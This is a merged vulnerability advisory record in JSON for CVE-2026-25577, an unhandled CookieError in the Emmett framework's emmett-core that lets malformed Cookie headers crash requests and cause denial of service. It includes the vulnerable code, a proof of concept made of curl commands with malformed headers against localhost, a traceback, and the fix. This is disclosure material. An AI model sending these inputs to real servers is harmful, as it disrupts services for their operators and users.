{"id":"CVE-2026-25577","aliases":["CVE-2026-25577","GHSA-x6cr-mq53-cc76","PYSEC-2026-2469"],"related":[],"kind":"vulnerability","state":"published","title":"Emmett has an Unhandled CookieError Exception Causing Denial of Service","summary":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Emmett is a framework designed to simplify your development process. Prior to 1.3.11, the cookies property in mmett_core.http.wrappers.Request does not handle CookieError exceptions when parsing malformed Cookie headers. This allows unauthenticated attackers to trigger HTTP 500 errors and cause denial of service. This vulnerability is fixed in 1.3.11.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe `cookies` property in `emmett_core.http.wrappers.Request` does not handle \n`CookieError` exceptions when parsing malformed Cookie headers. This allows \nunauthenticated attackers to trigger HTTP 500 errors and cause denial of service.\n\n\n### Details\n\n**Location:** `emmett_core/http/wrappers/__init__.py` (line 64)\n\n**Vulnerable Code:**\n```python\n@cachedprop\ndef cookies(self) -> SimpleCookie:\n    cookies: SimpleCookie = SimpleCookie()\n    for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n        cookies.load(cookie)  # No exception handling\n    return cookies\n```\n\n### PoC\nSending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:/security=test\"\nInternal error\nTime: 0.024363s\n```\nAfter the same error occurs several times, the server cannot process it normally.\n```bash\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:(security=test\"\nInternal error\nTime: 60.069334s\n\n$ curl -w \"\\nTime: %{time_total}s\\n\" http://localhost:8000/ -H \"Cookie:security=test\"\nInternal error\nTime: 60.074031s\n```\n\nThis is server log.\n```bash\n[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:\nTraceback (most recent call last):\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py\", line 70, in dynamic_handler\n    http = await self.router.dispatch(request, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py\", line 240, in dispatch\n    return await match.dispatch(reqargs, response)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 57, in dispatch\n    await self._parallel_flow(self.flow_open)\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py\", line 17, in _parallel_flow\n    raise task.exception()\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py\", line 102, in open_request\n    if self.cookie_name in self.current.request.cookies:\n                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py\", line 37, in __get__\n    obj.__dict__[self.__name__] = rv = self.fget(obj)\n                                       ~~~~~~~~~^^^^^\n  File \"/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py\", line 64, in cookies\n    cookies.load(cookie)\n    ~~~~~~~~~~~~^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 516, in load\n    self.__parse_string(rawdata)\n    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 580, in __parse_string\n    self.__set(key, rval, cval)\n    ~~~~~~~~~~^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 472, in __set\n    M.set(key, real_value, coded_value)\n    ~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/usr/lib/python3.13/http/cookies.py\", line 335, in set\n    raise CookieError('Illegal key %r' % (key,))\nhttp.cookies.CookieError: Illegal key '/security'\n```\n\n### Impact\nThis vulnerability allows unauthenticated attackers to cause denial of service \nand performance degradation by sending malformed Cookie headers. \nAfter this vulnerability occurs, we expect it to be difficult to use the normal service.\n\n\n\n### patch \n`/emmett_core/http/wrappers/__init__.py`\n```python\n- from http.cookies import SimpleCookie \n+ from http.cookies import SimpleCookie, CookieError  # add CookieError\n...\n...\n    @cachedprop\n    def cookies(self) -> SimpleCookie:\n        cookies: SimpleCookie = SimpleCookie()\n        for cookie in self.headers.get(\"cookie\", \"\").split(\";\"):\n-           cookies.load(cookie)\n+           try:\n+               cookies.load(cookie)\n+            except CookieError:\n+                continue\n        return cookies\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Emmett es un framework diseñado para simplificar su proceso de desarrollo. Antes de 1.3.11, la propiedad cookies en mmett_core.http.wrappers.Request no gestiona las excepciones CookieError al analizar encabezados Cookie malformados. Esto permite a atacantes no autenticados activar errores HTTP 500 y causar denegación de servicio. Esta vulnerabilidad está corregida en 1.3.11.","source":"nvd"}],"published":"2026-02-10T14:33:15.000Z","modified":"2026-07-13T16:43:32.287Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-248","CWE-307","CWE-703"],"affected":[{"ranges":[{"version":"< 1.3.11","status":"affected"}],"vendor":"emmett-framework","product":"core","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.3.11"}],"ecosystem":"PyPI","package":"emmett-core","purl":"pkg:pypi/emmett-core","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.3.11"}],"ecosystem":"PyPI","package":"emmett-core","purl":"pkg:pypi/emmett-core","source":"pysec"}],"references":[{"url":"https://github.com/emmett-framework/core/security/advisories/GHSA-x6cr-mq53-cc76","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/emmett-framework/core/commit/9557ea23a27cbadf7774d8bca6bbe4b54fa8a3ec","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25577","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/emmett-framework/core/commit/c126757133e118119a280b58f3bb345b1c9a8a2a","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/emmett-framework/core","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/emmett-core","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-x6cr-mq53-cc76","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-02-11T15:33:01.074Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25577","url":"https://www.cve.org/CVERecord?id=CVE-2026-25577","licence":"CVE Terms of Use","modified":"2026-02-11T15:33:08.561Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x6cr-mq53-cc76","url":"https://github.com/advisories/GHSA-x6cr-mq53-cc76","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:32.287Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25577","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25577","licence":"Public domain","modified":"2026-06-17T10:24:53.327Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2469","url":"https://osv.dev/vulnerability/PYSEC-2026-2469","licence":"CC-BY-4.0","modified":"2026-07-13T16:31:46.093Z"}],"updatedAt":"2026-11-25T22:59:13.743Z","epss":{"score":0.00576,"percentile":0.41481,"date":"2026-11-30T12:00:22.000Z"}}